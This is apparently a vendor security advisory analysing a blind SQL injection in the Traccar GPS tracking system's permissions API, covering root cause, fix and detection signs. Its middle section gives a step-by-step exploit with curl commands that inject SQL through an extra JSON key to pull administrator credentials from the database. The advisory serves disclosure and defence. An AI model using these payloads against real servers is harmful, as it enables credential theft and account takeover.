CVE-2026-52851: 
Chainguard vulnerability analysis and mitigation

CVE-2026-52851 is an authenticated blind SQL injection vulnerability in Traccar, an open-source GPS tracking system, affecting all versions up to and including 6.13.3. An authenticated, non-readonly user can inject arbitrary SQL through extra JSON keys in a DELETE /api/permissions request, enabling extraction of sensitive database contents including administrator credentials. The vulnerability was reported by researcher Emre Koca, disclosed via GitHub Security Advisory on June 9, 2026, and fixed in version 6.14.0. It carries a CVSS v3.1 base score of 7.1 (High) (GitHub Advisory).

The root cause is a logic mismatch between input validation and SQL query construction, classified as CWE-89 (SQL Injection). In src/main/java/org/traccar/model/Permission.java, the Permission(LinkedHashMap<String, Long>) constructor reads only the first two map entries to determine ownerClass and propertyClass, silently ignoring any additional keys. However, DatabaseStorage.removePermission() in src/main/java/org/traccar/storage/DatabaseStorage.java iterates over all map entries and concatenates every key directly into the SQL WHERE clause as a column identifier without escaping or validation — while only binding values via parameterized setLong(). A third attacker-controlled JSON key (e.g., "(SELECT CASE WHEN (<condition>) THEN 1 ELSE 0 END)") is therefore inserted verbatim into the generated SQL, creating a blind boolean or error-based oracle. Authorization checks in PermissionsResource.java only validate the first two keys, leaving the injected third key unchecked (GitHub Advisory, Fix Commit).

A low-privileged authenticated attacker can use this vulnerability to extract arbitrary values from the Traccar database, including administrator email addresses, password hashes, and salts from the tc_users table. Successful offline cracking of extracted password hashes could lead to full administrative account takeover, enabling unrestricted API access and lateral movement within the deployment. Additionally, the attacker can conditionally delete permission rows, potentially disrupting other users' access to tracked devices. Availability is not directly impacted by the injection itself (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, including step-by-step curl commands demonstrating blind data extraction of administrator credentials from a live Traccar instance (GitHub Advisory). The NVD SSVC assessment classifies exploitation status as "poc" and notes the attack is not automatable due to the authentication requirement. There is no evidence of in-the-wild exploitation at this time. The EPSS score is 0.0, and the vulnerability is not listed in the CISA KEV catalog. Exploitation requires a valid non-readonly Traccar account with access to at least one device.

1. Authenticate to Traccar API: Obtain valid credentials for a non-readonly Traccar account (e.g., lowpriv@test.local:user123). Confirm authentication works by querying any API endpoint; unauthenticated requests return HTTP 401.

2. Enumerate accessible objects: Send GET /api/devices with Basic Auth to retrieve a deviceId accessible to the low-privileged user. Retrieve the current user's userId via GET /api/users or account details.

3. Confirm injection point: Send a DELETE /api/permissions request with a benign third JSON key to verify the key is concatenated into SQL:

curl -u 'lowpriv@test.local:user123' -X DELETE 'http://<target>:8082/api/permissions' \
  -H 'Content-Type: application/json' \
  -d '{"userId":2,"deviceId":1,"ZZ_INJECTED_MARKER_ZZ":1}'

A SQL syntax error referencing ZZ_INJECTED_MARKER_ZZ in the response confirms the injection point.

4. Establish boolean oracle: Test true/false conditions to confirm control over query behavior:

# False condition — device permission retained
curl -u 'lowpriv@test.local:user123' -X DELETE 'http://<target>:8082/api/permissions' \
  -H 'Content-Type: application/json' \
  -d '{"userId":2,"deviceId":1,"(SELECT 0)":1}'

# True condition — device permission deleted
curl -u 'lowpriv@test.local:user123' -X DELETE 'http://<target>:8082/api/permissions' \
  -H 'Content-Type: application/json' \
  -d '{"userId":2,"deviceId":1,"(SELECT 1)":1}'

5. Extract sensitive data via binary search: Inject SQL subqueries targeting tc_users to extract administrator credentials character by character:

curl -u 'lowpriv@test.local:user123' -X DELETE 'http://<target>:8082/api/permissions' \
  -H 'Content-Type: application/json' \
  -d '{"userId":2,"deviceId":1,"(SELECT CASE WHEN (SUBSTRING(email,1,1) > \'a\') THEN 1 ELSE 0 END FROM tc_users WHERE id=1)":1}'

Repeat with narrowing conditions to extract the full email, hashedPassword, and salt fields.

6. Escalate via offline cracking: Use the extracted password hash and salt to perform offline dictionary or brute-force attacks, potentially achieving full administrative account takeover (GitHub Advisory).

• Network: Unusual DELETE requests to /api/permissions with Content-Type: application/json bodies containing more than two JSON keys; JSON keys containing SQL syntax such as SELECT, CASE WHEN, SUBSTRING, FROM, or parentheses.
• Logs: Traccar application logs showing JdbcSQLSyntaxErrorException or similar SQL errors referencing unexpected column names in DELETE FROM tc_user_device statements; repeated DELETE /api/permissions requests from the same low-privileged user account in short succession.
• Logs: Stack traces referencing DatabaseStorage.removePermission(DatabaseStorage.java:242) and PermissionsResource.remove(PermissionsResource.java:123) triggered by non-admin users.
• Behavioral: A low-privileged user's device list changing unexpectedly (device permissions being deleted and re-added) as the attacker cycles through boolean oracle conditions.
• Behavioral: Repeated API calls to GET /api/devices and GET /api/users from a low-privileged account immediately preceding a burst of DELETE /api/permissions requests (GitHub Advisory).

Upgrade Traccar to version 6.14.0 or later, which fixes the vulnerability by rejecting any Permission object with more or fewer than exactly two JSON keys (throwing IllegalArgumentException if data.size() != 2) and rebuilding the SQL WHERE clause in DatabaseStorage.removePermission() using only canonical, validated class-derived identifiers rather than raw map keys (Fix Commit, Release v6.14.0). As a temporary workaround where immediate upgrade is not possible, restrict user accounts to readonly mode where feasible, and implement a web application firewall rule to reject DELETE /api/permissions requests whose JSON body contains more than two keys or SQL-like patterns. Additionally, avoid exposing the Traccar API directly to untrusted networks and monitor logs for SQL error patterns as described in the IOCs section.

The vulnerability was reported privately by researcher Emre Koca through GitHub's private vulnerability reporting mechanism and published as a GitHub Security Advisory (GHSA-jx5h-fxhc-cc9w) on June 9, 2026. The Traccar maintainer (tananaev) promptly addressed the issue with a targeted fix in commit cd0dbaf, released as part of version 6.14.0. No significant broader media coverage or notable social media discussion has been identified beyond the advisory itself (GitHub Advisory).